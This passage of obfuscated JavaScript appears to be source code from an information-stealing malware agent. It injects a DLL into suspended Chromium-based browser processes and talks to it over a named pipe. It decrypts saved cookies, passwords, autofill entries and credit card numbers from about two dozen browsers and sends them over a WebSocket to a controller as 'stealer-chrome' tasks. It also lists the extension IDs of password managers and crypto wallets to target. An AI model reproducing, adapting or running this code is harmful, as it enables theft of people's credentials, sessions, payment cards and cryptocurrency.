| kernel325.symbols.Sleep(0x64); | |
| continue; | |
| } | |
| const _0x4f7f01 = new Uint8Array(0x10000), | |
| _0x38516a = new Uint8Array(0x4), | |
| _0x214188 = kernel325.symbols.ReadFile(_0x54d0ee, Deno.UnsafePointer.of(_0x4f7f01), _0x4f7f01.length, Deno.UnsafePointer.of(_0x38516a), null); | |
| if (_0x214188 === 0x0) { | |
| const _0x3c47ce = kernel325.symbols.GetLastError(); | |
| if (_0x3c47ce === 0x6d) { | |
| console.log("[ChromeV20] Pipe broken, DLL execution completed"); | |
| break; | |
| } | |
| if (_0x6b17c4 !== null) { | |
| break; | |
| } | |
| kernel325.symbols.Sleep(0x64); | |
| continue; | |
| } | |
| const _0x745059 = new DataView(_0x38516a.buffer).getUint32(0x0, true); | |
| if (_0x745059 === 0x0) { | |
| if (_0x6b17c4 !== null) { | |
| break; | |
| } | |
| continue; | |
| } | |
| for (let _0x41a6e6 = 0x0; _0x41a6e6 < _0x745059; _0x41a6e6++) { | |
| _0x4415d1.push(_0x4f7f01[_0x41a6e6]); | |
| } | |
| let _0x3cec99 = 0x0; | |
| for (let _0x49a7db = 0x0; _0x49a7db < _0x4415d1.length; _0x49a7db++) { | |
| if (_0x4415d1[_0x49a7db] === 0x0) { | |
| const _0x2ffbb5 = _0x4415d1.slice(_0x3cec99, _0x49a7db), | |
| _0x29ed25 = new TextDecoder().decode(new Uint8Array(_0x2ffbb5)); | |
| _0x3cec99 = _0x49a7db + 0x1; | |
| if (_0x29ed25 === COMPLETION_SIGNAL) { | |
| console.log("[ChromeV20] Completion signal received"); | |
| if (_0x6b17c4 === null) { | |
| _0x6b17c4 = Date.now(); | |
| } | |
| continue; | |
| } | |
| if (_0x29ed25.includes("__FILE_START__") || _0x29ed25.includes("__FILE_END__") || _0x29ed25.includes("__JSON_START__") || _0x29ed25.includes("__JSON_END__") || _0x29ed25.startsWith("BROWSER:") || _0x29ed25.startsWith("PROFILE:") || _0x29ed25.startsWith("TYPE:") || _0x29ed25.startsWith("COUNT:") || _0x1f2624.length > 0x0) { | |
| _0x1f2624 += _0x29ed25 + '\x0a'; | |
| if (_0x29ed25.includes("__FILE_END__")) { | |
| const _0x16105d = parseFileData(_0x1f2624); | |
| if (_0x16105d) { | |
| console.log("[ChromeV20] Parsed file: " + _0x16105d.browser + '/' + _0x16105d.profile + '/' + _0x16105d.fileType + '\x20(' + _0x16105d.count + " entries)"); | |
| _0x38e563.push(_0x16105d); | |
| } | |
| _0x1f2624 = ''; | |
| } | |
| continue; | |
| } | |
| if (_0x29ed25.length > 0x0) { | |
| console.log("[ChromeV20] DLL: " + _0x29ed25); | |
| } | |
| } | |
| } | |
| _0x4415d1 = _0x4415d1.slice(_0x3cec99); | |
| } | |
| console.log("[ChromeV20] Received " + _0x38e563.length + " file(s)"); | |
| return _0x38e563; | |
| } | |
| async function sendExtractedData(_0x1a776a, _0x3414e2, _0x591153) { | |
| for (const _0x46b2cd of _0x591153) { | |
| try { | |
| const _0x388549 = JSON.parse(_0x46b2cd.jsonData.trim()); | |
| if (_0x46b2cd.fileType === "cookies" && Array.isArray(_0x388549)) { | |
| const _0x3fe2f9 = { | |
| huidMd5: _0x1a776a.huidMd5, | |
| token: _0x1a776a.token, | |
| taskOutputs: [{ | |
| id: _0x1a776a.taskId, | |
| type: "stealer-chrome", | |
| status: "completed", | |
| browser: _0x3414e2, | |
| profile: _0x46b2cd.profile || "Default", | |
| dataType: "cookies", | |
| data: _0x388549.map(_0x121661 => ({ | |
| host: _0x121661.host || _0x121661.domain || '', | |
| name: _0x121661.name || '', | |
| value: _0x121661.value || '', | |
| path: _0x121661.path || '/', | |
| expires_utc: _0x121661.expires || _0x121661.expirationDate || 0x0, | |
| is_secure: _0x121661.secure || _0x121661.isSecure || false, | |
| is_httponly: _0x121661.httpOnly || _0x121661.isHttpOnly || false | |
| })) | |
| }] | |
| }; | |
| try { | |
| _0x1a776a.ws.send(await serizalizeCommandFromAgent(_0x3fe2f9)); | |
| console.log("[ChromeV20] Sent " + _0x388549.length + " cookies for " + _0x3414e2 + '/' + _0x46b2cd.profile); | |
| } catch (_0x3d0730) { | |
| console.error("[ChromeV20] Failed to send cookies: WebSocket error", _0x3d0730); | |
| } | |
| } else if (_0x46b2cd.fileType === "passwords" && Array.isArray(_0x388549)) { | |
| const _0x440d8a = { | |
| huidMd5: _0x1a776a.huidMd5, | |
| token: _0x1a776a.token, | |
| taskOutputs: [{ | |
| id: _0x1a776a.taskId, | |
| type: "stealer-chrome", | |
| status: "completed", | |
| browser: _0x3414e2, | |
| profile: _0x46b2cd.profile || "Default", | |
| dataType: "passwords", | |
| data: _0x388549.map(_0x1236a4 => ({ | |
| url: _0x1236a4.url || _0x1236a4.origin_url || '', | |
| username: _0x1236a4.username || _0x1236a4.username_value || '', | |
| password: _0x1236a4.password || _0x1236a4.password_value || '' | |
| })) | |
| }] | |
| }; | |
| try { | |
| _0x1a776a.ws.send(await serizalizeCommandFromAgent(_0x440d8a)); | |
| console.log("[ChromeV20] Sent " + _0x388549.length + " passwords for " + _0x3414e2 + '/' + _0x46b2cd.profile); | |
| } catch (_0x31f980) { | |
| console.error("[ChromeV20] Failed to send passwords: WebSocket error", _0x31f980); | |
| } | |
| } else if (_0x46b2cd.fileType === "payments" && Array.isArray(_0x388549)) { | |
| const _0x30bb23 = { | |
| huidMd5: _0x1a776a.huidMd5, | |
| token: _0x1a776a.token, | |
| taskOutputs: [{ | |
| id: _0x1a776a.taskId, | |
| type: "stealer-chrome", | |
| status: "completed", | |
| browser: _0x3414e2, | |
| profile: _0x46b2cd.profile || "Default", | |
| dataType: "creditcards", | |
| data: _0x388549.map(_0x2aa80c => ({ | |
| name_on_card: _0x2aa80c.name_on_card || _0x2aa80c.name || '', | |
| card_number: _0x2aa80c.card_number || _0x2aa80c.number || '', | |
| expiration_month: _0x2aa80c.expiration_month || _0x2aa80c.exp_month || 0x0, | |
| expiration_year: _0x2aa80c.expiration_year || _0x2aa80c.exp_year || 0x0 | |
| })) | |
| }] | |
| }; | |
| try { | |
| _0x1a776a.ws.send(await serizalizeCommandFromAgent(_0x30bb23)); | |
| console.log("[ChromeV20] Sent " + _0x388549.length + " credit cards for " + _0x3414e2 + '/' + _0x46b2cd.profile); | |
| } catch (_0x4b6325) { | |
| console.error("[ChromeV20] Failed to send credit cards: WebSocket error", _0x4b6325); | |
| } | |
| } | |
| } catch (_0x240b12) { | |
| console.error("[ChromeV20] Failed to parse/send " + _0x46b2cd.fileType + ':', _0x240b12); | |
| } | |
| } | |
| } | |
| async function processBrowser(_0x4e2de7, _0x968d24, _0x232dc0, _0x1b072f) { | |
| console.log("\n[ChromeV20] Processing " + _0x4e2de7.displayName + "..."); | |
| console.log("====================================="); | |
| if (!kernel325) { | |
| console.error("[ChromeV20] FFI not initialized"); | |
| return; | |
| } | |
| const _0x10ec3a = generatePipeName(_0x4e2de7.name); | |
| console.log("[ChromeV20] Using pipe: " + _0x10ec3a); | |
| const _0x10b407 = toWideString2(_0x10ec3a), | |
| _0x3b22e6 = kernel325.symbols.CreateNamedPipeW(Deno.UnsafePointer.of(_0x10b407), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 0x1, 0x10000, 0x10000, 0x0, null); | |
| if (!_0x3b22e6 || Deno.UnsafePointer.value(_0x3b22e6) === 0x0n) { | |
| console.error("[ChromeV20] Failed to create named pipe"); | |
| return; | |
| } | |
| console.log("[ChromeV20] Named pipe created"); | |
| const _0x2f4358 = createSuspendedProcess(_0x968d24); | |
| if (!_0x2f4358) { | |
| kernel325.symbols.CloseHandle(_0x3b22e6); | |
| return; | |
| } | |
| const _0x228bc5 = injectDll(_0x2f4358.hProcess, _0x10ec3a, _0x232dc0); | |
| if (!_0x228bc5) { | |
| console.error("[ChromeV20] DLL injection failed"); | |
| kernel325.symbols.TerminateProcess(_0x2f4358.hProcess, 0x1); | |
| kernel325.symbols.CloseHandle(_0x2f4358.hThread); | |
| kernel325.symbols.CloseHandle(_0x2f4358.hProcess); | |
| kernel325.symbols.CloseHandle(_0x3b22e6); | |
| return; | |
| } | |
| console.log("[ChromeV20] DLL injection successful"); | |
| console.log("[ChromeV20] Waiting for DLL to connect..."); | |
| const _0x50ac11 = kernel325.symbols.ConnectNamedPipe(_0x3b22e6, null); | |
| if (_0x50ac11 === 0x0) { | |
| const _0xea0eea = kernel325.symbols.GetLastError(); | |
| if (_0xea0eea !== 0x217) { | |
| console.error("[ChromeV20] Failed to connect pipe: " + _0xea0eea); | |
| kernel325.symbols.TerminateProcess(_0x2f4358.hProcess, 0x1); | |
| kernel325.symbols.CloseHandle(_0x2f4358.hThread); | |
| kernel325.symbols.CloseHandle(_0x2f4358.hProcess); | |
| kernel325.symbols.CloseHandle(_0x3b22e6); | |
| return; | |
| } | |
| } | |
| console.log("[ChromeV20] DLL connected"); | |
| kernel325.symbols.Sleep(0xc8); | |
| writeToPipe(_0x3b22e6, "VERBOSE_FALSE"); | |
| kernel325.symbols.Sleep(0xa); | |
| writeToPipe(_0x3b22e6, "FINGERPRINT_FALSE"); | |
| kernel325.symbols.Sleep(0xa); | |
| writeToPipe(_0x3b22e6, "C:\\dummy"); | |
| kernel325.symbols.Sleep(0xa); | |
| const _0x51c7a3 = relayMessages(_0x3b22e6, _0x2f4358.hProcess); | |
| await sendExtractedData(_0x1b072f, _0x4e2de7.name, _0x51c7a3); | |
| console.log("[ChromeV20] Terminating browser process..."); | |
| kernel325.symbols.TerminateProcess(_0x2f4358.hProcess, 0x0); | |
| kernel325.symbols.WaitForSingleObject(_0x2f4358.hProcess, 0x7d0); | |
| kernel325.symbols.CloseHandle(_0x2f4358.hThread); | |
| kernel325.symbols.CloseHandle(_0x2f4358.hProcess); | |
| kernel325.symbols.CloseHandle(_0x3b22e6); | |
| console.log("[ChromeV20] " + _0x4e2de7.displayName + " processing completed"); | |
| } | |
| async function grabChromeV20(_0x791cbe, _0xdbdca7) { | |
| console.log("[ChromeV20] Starting Chrome v20 collection..."); | |
| if (!_0xdbdca7 || _0xdbdca7.length === 0x0) { | |
| console.log("[ChromeV20] No DLL provided, skipping"); | |
| return; | |
| } | |
| console.log("[ChromeV20] DLL size: " + _0xdbdca7.length + " bytes"); | |
| initFFI2(); | |
| if (!kernel325) { | |
| console.error("[ChromeV20] Failed to initialize FFI"); | |
| return; | |
| } | |
| const _0x4747cb = findInstalledBrowsers(); | |
| if (_0x4747cb.length === 0x0) { | |
| console.log("[ChromeV20] No supported browsers found"); | |
| return; | |
| } | |
| for (const [_0x5e85b5, _0x35e97a] of _0x4747cb) { | |
| try { | |
| await processBrowser(_0x5e85b5, _0x35e97a, _0xdbdca7, _0x791cbe); | |
| } catch (_0x4c3015) { | |
| console.error("[ChromeV20] Failed to process " + _0x5e85b5.displayName + ':', _0x4c3015); | |
| } | |
| } | |
| console.log("[ChromeV20] Collection completed"); | |
| } | |
| var import_node_buffer5 = require('node:buffer'), | |
| import_node_fs3 = require('node:fs'), | |
| import_node_path3 = __toESM(require('node:path')), | |
| import_node_process4 = __toESM(require('node:process')), | |
| CHROMIUM_BROWSERS = [{ | |
| name: "chrome", | |
| path: "%LOCALAPPDATA%\\Google\\Chrome\\User Data" | |
| }, { | |
| name: "chromesxs", | |
| path: "%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data" | |
| }, { | |
| name: "chromium", | |
| path: "%LOCALAPPDATA%\\Chromium\\User Data" | |
| }, { | |
| name: "brave", | |
| path: "%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data" | |
| }, { | |
| name: "edge", | |
| path: "%LOCALAPPDATA%\\Microsoft\\Edge\\User Data" | |
| }, { | |
| name: "yandex", | |
| path: "%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data" | |
| }, { | |
| name: "opera", | |
| path: "%APPDATA%\\Opera Software\\Opera Stable" | |
| }, { | |
| name: "operagx", | |
| path: "%APPDATA%\\Opera Software\\Opera GX Stable" | |
| }, { | |
| name: "vivaldi", | |
| path: "%LOCALAPPDATA%\\Vivaldi\\User Data" | |
| }, { | |
| name: "amigo", | |
| path: "%APPDATA%\\Amigo\\User Data" | |
| }, { | |
| name: "torch", | |
| path: "%APPDATA%\\Torch\\User Data" | |
| }, { | |
| name: "kometa", | |
| path: "%APPDATA%\\Kometa\\User Data" | |
| }, { | |
| name: "orbitum", | |
| path: "%APPDATA%\\Orbitum\\User Data" | |
| }, { | |
| name: "centbrowser", | |
| path: "%APPDATA%\\CentBrowser\\User Data" | |
| }, { | |
| name: "7star", | |
| path: "%APPDATA%\\7Star\\7Star\\User Data" | |
| }, { | |
| name: "sputnik", | |
| path: "%APPDATA%\\Sputnik\\Sputnik\\User Data" | |
| }, { | |
| name: "epic", | |
| path: "%APPDATA%\\Epic Privacy Browser\\User Data" | |
| }, { | |
| name: "uran", | |
| path: "%APPDATA%\\uCozMedia\\Uran\\User Data" | |
| }, { | |
| name: "iridium", | |
| path: "%LOCALAPPDATA%\\Iridium\\User Data" | |
| }, { | |
| name: "comododragon", | |
| path: "%LOCALAPPDATA%\\Comodo\\Dragon\\User Data" | |
| }, { | |
| name: "360browser", | |
| path: "%LOCALAPPDATA%\\360Browser\\Browser\\User Data" | |
| }, { | |
| name: "maxthon", | |
| path: "%LOCALAPPDATA%\\Maxthon3\\User Data" | |
| }, { | |
| name: "k-melon", | |
| path: "%LOCALAPPDATA%\\K-Melon\\User Data" | |
| }, { | |
| name: "suhba", | |
| path: "%LOCALAPPDATA%\\Suhba\\User Data" | |
| }, { | |
| name: "nichrome", | |
| path: "%LOCALAPPDATA%\\Nichrome\\User Data" | |
| }, { | |
| name: "coccoc", | |
| path: "%LOCALAPPDATA%\\CocCoc\\Browser\\User Data" | |
| }, { | |
| name: "chromodo", | |
| path: "%LOCALAPPDATA%\\Chromodo\\User Data" | |
| }]; | |
| function expandPath2(_0xd7a27e) { | |
| const _0xefd384 = import_node_process4["default"].env.LOCALAPPDATA || '', | |
| _0x1fe259 = import_node_process4["default"].env.APPDATA || ''; | |
| return _0xd7a27e.replace(/%LOCALAPPDATA%/g, _0xefd384).replace(/%APPDATA%/g, _0x1fe259); | |
| } | |
| async function findProfiles(_0x378360) { | |
| const _0x1339e6 = []; | |
| try { | |
| const _0x59e90b = import_node_path3["default"].join(_0x378360, "Default"); | |
| try { | |
| await import_node_fs3.promises.access(_0x59e90b); | |
| _0x1339e6.push("Default"); | |
| } catch {} | |
| for (let _0x4448fd = 0x1; _0x4448fd <= 0x14; _0x4448fd++) { | |
| const _0x59f55a = "Profile " + _0x4448fd, | |
| _0x14916b = import_node_path3["default"].join(_0x378360, _0x59f55a); | |
| try { | |
| await import_node_fs3.promises.access(_0x14916b); | |
| _0x1339e6.push(_0x59f55a); | |
| } catch {} | |
| } | |
| } catch {} | |
| return _0x1339e6; | |
| } | |
| async function decryptAesGcm(_0x286e90, _0x12f8f9) { | |
| if (_0x286e90.length < 0x3) { | |
| console.log("[Chrome] Encrypted value too short: " + _0x286e90.length + " bytes"); | |
| return null; | |
| } | |
| const _0xea2897 = _0x286e90.subarray(0x0, 0x3), | |
| _0x39928a = import_node_buffer5.Buffer.from(_0xea2897).toString(); | |
| if (_0x39928a !== 'v10' && _0x39928a !== 'v11') { | |
| console.log("[Chrome] Invalid prefix: \"" + _0x39928a + "\" (hex: " + import_node_buffer5.Buffer.from(_0xea2897).toString("hex") + "), expected \"v10\" or \"v11\""); | |
| return null; | |
| } | |
| if (_0x286e90.length < 31) { | |
| return null; | |
| } | |
| try { | |
| const _0x1c8304 = _0x286e90.subarray(0x3, 0xf), | |
| _0x3bf45a = _0x286e90.subarray(0xf), | |
| _0x5ab535 = new ArrayBuffer(_0x12f8f9.length); | |
| new Uint8Array(_0x5ab535).set(_0x12f8f9); | |
| const _0x5acaf3 = new ArrayBuffer(_0x1c8304.length); | |
| new Uint8Array(_0x5acaf3).set(_0x1c8304); | |
| const _0x1818d3 = new ArrayBuffer(_0x3bf45a.length); | |
| new Uint8Array(_0x1818d3).set(_0x3bf45a); | |
| const _0x7c42b6 = await crypto.subtle.importKey('raw', _0x5ab535, { | |
| name: "AES-GCM" | |
| }, false, ["decrypt"]), | |
| _0x1b4546 = await crypto.subtle.decrypt({ | |
| name: "AES-GCM", | |
| iv: _0x5acaf3 | |
| }, _0x7c42b6, _0x1818d3), | |
| _0x18f913 = new Uint8Array(_0x1b4546); | |
| let _0x497494 = 0x0, | |
| _0x164802 = 0x0; | |
| for (let _0x172438 = 0x0; _0x172438 < _0x18f913.length; _0x172438++) { | |
| let _0x10f0dd = 0x0, | |
| _0x5d4c5f = false; | |
| for (let _0x10c3e5 = _0x172438; _0x10c3e5 < Math.min(_0x18f913.length, _0x172438 + 0x14); _0x10c3e5++) { | |
| const _0x169201 = _0x18f913[_0x10c3e5]; | |
| if (_0x169201 >= 0x20 && _0x169201 <= 0x7e) { | |
| _0x10f0dd++; | |
| } else { | |
| _0x5d4c5f = true; | |
| break; | |
| } | |
| } | |
| if (!_0x5d4c5f && _0x10f0dd >= 0x5 && _0x10f0dd > _0x164802) { | |
| _0x164802 = _0x10f0dd; | |
| _0x497494 = _0x172438; | |
| } | |
| if (_0x164802 >= 0xf) { | |
| break; | |
| } | |
| } | |
| const _0x14431a = _0x497494 > 0x0 && _0x497494 < _0x18f913.length ? _0x18f913.subarray(_0x497494) : _0x18f913, | |
| _0x26260b = new TextDecoder("utf-8", { | |
| fatal: true | |
| }); | |
| try { | |
| const _0x34f2fc = _0x26260b.decode(_0x14431a); | |
| if (_0x34f2fc.length === 0x0) { | |
| return null; | |
| } | |
| let _0x5d3d7e = 0x0; | |
| for (const _0x37498e of _0x34f2fc) { | |
| const _0x81bf36 = _0x37498e.charCodeAt(0x0); | |
| if (_0x81bf36 >= 0x20 && _0x81bf36 <= 0x7e || _0x81bf36 === 0x9 || _0x81bf36 === 0xa || _0x81bf36 === 0xd) { | |
| _0x5d3d7e++; | |
| } | |
| } | |
| if (_0x34f2fc.length < 0x3 || _0x5d3d7e / _0x34f2fc.length < 0.8) { | |
| return null; | |
| } | |
| return _0x34f2fc; | |
| } catch { | |
| return null; | |
| } | |
| } catch (_0x21aba3) { | |
| console.error("[Chrome] Decryption error:", _0x21aba3); | |
| return null; | |
| } | |
| } | |
| async function extractCookies(_0x4da80b, _0x30c354, _0x28ed9a) { | |
| const _0x392456 = []; | |
| try { | |
| const _0x3d68e1 = new _0x4da80b(_0x30c354, { | |
| readonly: true | |
| }), | |
| _0x6e909b = _0x3d68e1.prepare("SELECT host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly FROM cookies").all(); | |
| for (const _0x39ec4c of _0x6e909b) { | |
| const _0x4a37cc = _0x39ec4c; | |
| if (!_0x4a37cc.host_key || !_0x4a37cc.name) { | |
| continue; | |
| } | |
| const _0x26150b = _0x4a37cc.encrypted_value; | |
| if (!_0x26150b || _0x26150b.length === 0x0) { | |
| continue; | |
| } | |
| const _0x29a635 = await decryptAesGcm(_0x26150b, _0x28ed9a); | |
| if (!_0x29a635 || _0x29a635.length === 0x0) { | |
| continue; | |
| } | |
| _0x392456.push({ | |
| host: _0x4a37cc.host_key, | |
| name: _0x4a37cc.name, | |
| value: _0x29a635, | |
| path: _0x4a37cc.path || '/', | |
| expires_utc: _0x4a37cc.expires_utc || 0x0, | |
| is_secure: Boolean(_0x4a37cc.is_secure), | |
| is_httponly: Boolean(_0x4a37cc.is_httponly) | |
| }); | |
| } | |
| _0x3d68e1.close(); | |
| } catch (_0x4f04f9) { | |
| console.error("[Chrome] Error extracting cookies:", _0x4f04f9); | |
| } | |
| return _0x392456; | |
| } | |
| async function extractPasswords(_0x2de474, _0x469048, _0x5f023d) { | |
| const _0x37fcb7 = []; | |
| try { | |
| const _0x294e7f = new _0x2de474(_0x469048, { | |
| readonly: true | |
| }), | |
| _0x37d232 = _0x294e7f.prepare("SELECT origin_url, username_value, password_value FROM logins").all(); | |
| console.log("[Chrome] Found " + _0x37d232.length + " password entries in database"); | |
| let _0x2bd611 = 0x0, | |
| _0x3b2196 = 0x0, | |
| _0x4d7b95 = 0x0; | |
| for (const _0x81a686 of _0x37d232) { | |
| const _0x2c08fd = _0x81a686, | |
| _0x3ac943 = _0x2c08fd.origin_url || '', | |
| _0x5165f3 = _0x2c08fd.username_value || ''; | |
| if (!_0x3ac943) { | |
| _0x3b2196++; | |
| continue; | |
| } | |
| const _0x338d5f = _0x2c08fd.password_value; | |
| if (!_0x338d5f || _0x338d5f.length === 0x0) { | |
| _0x3b2196++; | |
| continue; | |
| } | |
| if (_0x37fcb7.length === 0x0) { | |
| const _0x349267 = import_node_buffer5.Buffer.from(_0x338d5f.subarray(0x0, Math.min(0xa, _0x338d5f.length))); | |
| console.log("[Chrome] First password encrypted prefix: " + _0x349267.toString('hex') + '\x20(' + _0x349267.toString() + ')'); | |
| } | |
| const _0x846262 = await decryptAesGcm(_0x338d5f, _0x5f023d); | |
| if (!_0x846262 || _0x846262.length === 0x0) { | |
| _0x4d7b95++; | |
| continue; | |
| } | |
| _0x2bd611++; | |
| _0x37fcb7.push({ | |
| url: _0x3ac943, | |
| username: _0x5165f3, | |
| password: _0x846262 | |
| }); | |
| } | |
| console.log("[Chrome] Password extraction stats: " + _0x2bd611 + " decrypted, " + _0x3b2196 + " skipped, " + _0x4d7b95 + " failed"); | |
| _0x294e7f.close(); | |
| } catch (_0x451c4f) { | |
| console.error("[Chrome] Error extracting passwords:", _0x451c4f); | |
| } | |
| return _0x37fcb7; | |
| } | |
| function extractAutofills(_0x52b139, _0x497c96) { | |
| const _0x3272c7 = []; | |
| try { | |
| const _0x6dc7c0 = new _0x52b139(_0x497c96, { | |
| readonly: true | |
| }), | |
| _0x1a2814 = _0x6dc7c0.prepare("SELECT name, value, count FROM autofill").all(); | |
| for (const _0x55f051 of _0x1a2814) { | |
| const _0x3c225f = _0x55f051, | |
| _0x114f6e = _0x3c225f.name || '', | |
| _0x746f7d = _0x3c225f.value || '', | |
| _0x312e95 = _0x3c225f.count || 0x0; | |
| if (!_0x114f6e || !_0x746f7d) { | |
| continue; | |
| } | |
| _0x3272c7.push({ | |
| name: _0x114f6e, | |
| value: _0x746f7d, | |
| count: _0x312e95 | |
| }); | |
| } | |
| _0x6dc7c0.close(); | |
| } catch (_0x690589) { | |
| console.error("[Chrome] Error extracting autofills:", _0x690589); | |
| } | |
| return _0x3272c7; | |
| } | |
| async function extractCreditCards(_0x155379, _0x58eec4, _0x5f3be8) { | |
| const _0x2a6222 = []; | |
| try { | |
| const _0x505d50 = new _0x155379(_0x58eec4, { | |
| readonly: true | |
| }), | |
| _0x240003 = _0x505d50.prepare("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards").all(); | |
| for (const _0x40aba7 of _0x240003) { | |
| const _0x41fc8a = _0x40aba7, | |
| _0x5d7d38 = _0x41fc8a.name_on_card || '', | |
| _0x44d307 = _0x41fc8a.expiration_month || 0x0, | |
| _0x84374a = _0x41fc8a.expiration_year || 0x0, | |
| _0x59bb98 = _0x41fc8a.card_number_encrypted; | |
| if (!_0x59bb98 || _0x59bb98.length === 0x0) { | |
| continue; | |
| } | |
| const _0x1ca727 = await decryptAesGcm(_0x59bb98, _0x5f3be8); | |
| if (!_0x1ca727 || _0x1ca727.length === 0x0) { | |
| continue; | |
| } | |
| _0x2a6222.push({ | |
| name_on_card: _0x5d7d38, | |
| expiration_month: _0x44d307, | |
| expiration_year: _0x84374a, | |
| card_number: _0x1ca727 | |
| }); | |
| } | |
| _0x505d50.close(); | |
| } catch (_0x584339) { | |
| console.error("[Chrome] Error extracting credit cards:", _0x584339); | |
| } | |
| return _0x2a6222; | |
| } | |
| async function sendChromeData(_0x3374cb, _0x32cec5, _0x454a93, _0x567e97, _0x6c25c1) { | |
| if (_0x6c25c1.length === 0x0) { | |
| return; | |
| } | |
| const _0x7160ad = { | |
| huidMd5: _0x3374cb.huidMd5, | |
| token: _0x3374cb.token, | |
| taskOutputs: [{ | |
| id: _0x3374cb.taskId, | |
| type: "stealer-chrome", | |
| status: "completed", | |
| browser: _0x32cec5, | |
| profile: _0x454a93, | |
| dataType: _0x567e97, | |
| data: _0x6c25c1 | |
| }] | |
| }, | |
| _0x480aa7 = await serizalizeCommandFromAgent(_0x7160ad); | |
| try { | |
| _0x3374cb.ws.send(_0x480aa7); | |
| } catch (_0xcb93e4) { | |
| console.error("[Chrome] Failed to send data: WebSocket error", _0xcb93e4); | |
| } | |
| } | |
| async function sendExtensionFile(_0x42e400, _0x5e28e9, _0x4184f2, _0x4139e4, _0x167dad, _0x2af186) { | |
| const _0x1a310f = { | |
| huidMd5: _0x42e400.huidMd5, | |
| token: _0x42e400.token, | |
| taskOutputs: [{ | |
| id: _0x42e400.taskId, | |
| type: "stealer-extension-file", | |
| status: "completed", | |
| browser: _0x5e28e9, | |
| profile: _0x4184f2, | |
| extensionName: _0x4139e4, | |
| filename: _0x167dad, | |
| data: _0x2af186, | |
| size: _0x2af186.length | |
| }] | |
| }, | |
| _0x11a1a4 = await serizalizeCommandFromAgent(_0x1a310f); | |
| try { | |
| _0x42e400.ws.send(_0x11a1a4); | |
| } catch (_0x4f36eb) { | |
| console.error("[Chrome] Failed to send data: WebSocket error", _0x4f36eb); | |
| } | |
| } | |
| function getExtensionMap() { | |
| const _0x3e9f72 = new Map(); | |
| _0x3e9f72.set("Authenticator", "bhghoamapcdpbohphigoooaddinpkbai"); | |
| _0x3e9f72.set("EOSAuthenticator", "oeljdldpnmdbchonielidgobddffflal"); | |
| _0x3e9f72.set("Bitwarden", "nngceckbapebfimnlniiiahkandclblb"); | |
| _0x3e9f72.set("KeePassXC", "oboonakemofpalcgghocfoadofidjkkk"); | |
| _0x3e9f72.set("Dashlane", "fdjamakpfbbddfjaooikfcpapjohcfmg"); | |
| _0x3e9f72.set("1Password", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"); | |
| _0x3e9f72.set("NordPass", "fooolghllnmhmmndgjiamiiodkpenpbb"); | |
| _0x3e9f72.set("Keeper", "bfogiafebfohielmmehodmfbbebbbpei"); | |
| _0x3e9f72.set("RoboForm", "pnlccmojcmeohlpggmfnbbiapkmbliob"); | |
| _0x3e9f72.set("LastPass", "hdokiejnpimakedhajhdlcegeplioahd"); | |
| _0x3e9f72.set("BrowserPass", "naepdomgkenhinolocfifgehidddafch"); | |
| _0x3e9f72.set("MYKI", "bmikpgodpkclnkgmnpphehdgcimmided"); | |
| _0x3e9f72.set("Splikity", "jhfjfclepacoldmjmkmdlmganfaalklb"); | |
| _0x3e9f72.set("CommonKey", "chgfefjpcobfbnpmiokfjjaglahmnded"); | |
| _0x3e9f72.set("ZohoVault", "igkpcodhieompeloncfnbekccinhapdb"); | |
| _0x3e9f72.set("NortonPasswordManager", "admmjipmmciaobhojoghlmleefbicajg"); | |
| _0x3e9f72.set("AviraPasswordManager", "caljgklbbfbcjjanaijlacgncafpegll"); | |
| _0x3e9f72.set("TrezorPasswordManager", "imloifkgjagghnncjkhggdhalmcnfklk"); | |
| _0x3e9f72.set("MetaMask", "nkbihfbeogaeaoehlefnkodbefgpgknn"); | |
| _0x3e9f72.set("MetaMask_edge", "ejbalbakoplchlghecdalmeeeajnimhm"); | |
| _0x3e9f72.set("TronLink", "ibnejdfjmmkpcnlpebklmnkoeoihofec"); | |
| _0x3e9f72.set("BinanceChain", "fhbohimaelbohpjbbldcngcnapndodjp"); | |
| _0x3e9f72.set("Coin98", "aeachknmefphepccionboohckonoeemg"); | |
| _0x3e9f72.set("iWallet", "kncchdigobghenbbaddojjnnaogfppfj"); | |
| _0x3e9f72.set("Wombat", "amkmjjmmflddogmhpjloimipbofnfjih"); | |
| _0x3e9f72.set("MEWCX", "nlbmnnijcnlegkjjpcfjclmcfggfefdm"); | |
| _0x3e9f72.set("NeoLine", "cphhlgmgameodnhkjdmkpanlelnlohao"); | |
| _0x3e9f72.set("TerraStation", "aiifbnbfobpmeekipheeijimdpnlpgpp"); | |
| _0x3e9f72.set("Keplr", "dmkamcknogkgcdfhhbddcghachkejeap"); | |
| _0x3e9f72.set("Sollet", "fhmfendgdocmcbmfikdcogofphimnkno"); | |
| _0x3e9f72.set("ICONex", "flpiciilemghbmfalicajoolhkkenfel"); | |
| _0x3e9f72.set('KHC', "hcflpincpppdclinealmandijcmnkbgn"); | |
| _0x3e9f72.set("TezBox", "mnfifefkajgofkcjkemidiaecocnkjeh"); | |
| _0x3e9f72.set("Byone", "nlgbhdfgdhgbiamfdfmbikcdghidoadd"); | |
| _0x3e9f72.set("OneKey", "infeboajgfhgbjpjbeppbkgnabfdkdaf"); | |
| _0x3e9f72.set("DAppPlay", "lodccjjbdhfakaekdiahmedfbieldgik"); | |
| _0x3e9f72.set("BitClip", "ijmpgkjfkbfhoebgogflfebnmejmfbml"); | |
| _0x3e9f72.set("SteemKeychain", "lkcjlnjfpbikmcmbachjpdbijejflpcm"); | |
| _0x3e9f72.set("NashExtension", "onofpnbbkehpmmoabgpcpmigafmmnjhl"); | |
| _0x3e9f72.set("HyconLiteClient", "bcopgchhojmggmffilplmbdicgaihlkp"); | |
| _0x3e9f72.set("ZilPay", "klnaejjgbibmhlephnhpmaofohgkpgkd"); | |
| _0x3e9f72.set("LeafWallet", "cihmoadaighcejopammfbmddcmdekcje"); | |
| _0x3e9f72.set("CyanoWallet", "dkdedlpgdmmkkfjabffeganieamfklkm"); | |
| _0x3e9f72.set("CyanoWalletPro", "icmkfkmjoklfhlfdkkkgpnpldkgdmhoe"); | |
| _0x3e9f72.set("NaboxWallet", "nknhiehlklippafakaeklbeglecifhad"); | |
